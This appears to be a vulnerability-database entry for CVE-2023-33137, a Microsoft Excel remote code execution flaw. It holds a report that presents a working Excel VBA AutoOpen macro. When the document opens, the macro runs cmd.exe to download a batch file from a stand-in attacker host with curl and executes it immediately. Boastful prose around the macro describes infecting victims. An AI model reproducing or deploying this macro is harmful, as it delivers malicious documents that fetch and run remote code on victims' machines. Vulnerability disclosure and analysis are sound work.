CVE-2023-33137

Microsoft Excel Remote Code Execution Vulnerability

Recent assessments:

nu11secur1ty at June 27, 2023 9:52am UTC reported:

CVE-2023-33137

Vendor

Software

Description:

This exploit is connected with third part exploit server, which waits for the victim to call him and execute the content from him using the pipe posting method! This is absolutely a 0-day exploit! This is absolutely dangerous for the victims, who are infected by him!
When the victim hit the button in the Excel file, it makes a POST request to the exploit server, and the server is responding back that way: He creates another hidden malicious file and executed it directly on the machine of the victim, then everything is disappeared, so nasty.

STATUS: HIGH Vulnerability WARNING: THIS IS VERY DANGER for the usual users!

[+]Exploit:

Sub AutoOpen()
  Call Shell("cmd.exe /S /c" & "curl -s https://attacker.com/nu11secur1ty/somwhere/ontheinternet/maloumnici.bat > maloumnici.bat && .\maloumnici.bat", vbNormalFocus)
End Sub

Reproduce:

href

Proof and Exploit:

href

Time spend:

01:27:00

Assessed Attacker Value: 4
Assessed Attacker Value: 4Assessed Attacker Value: 4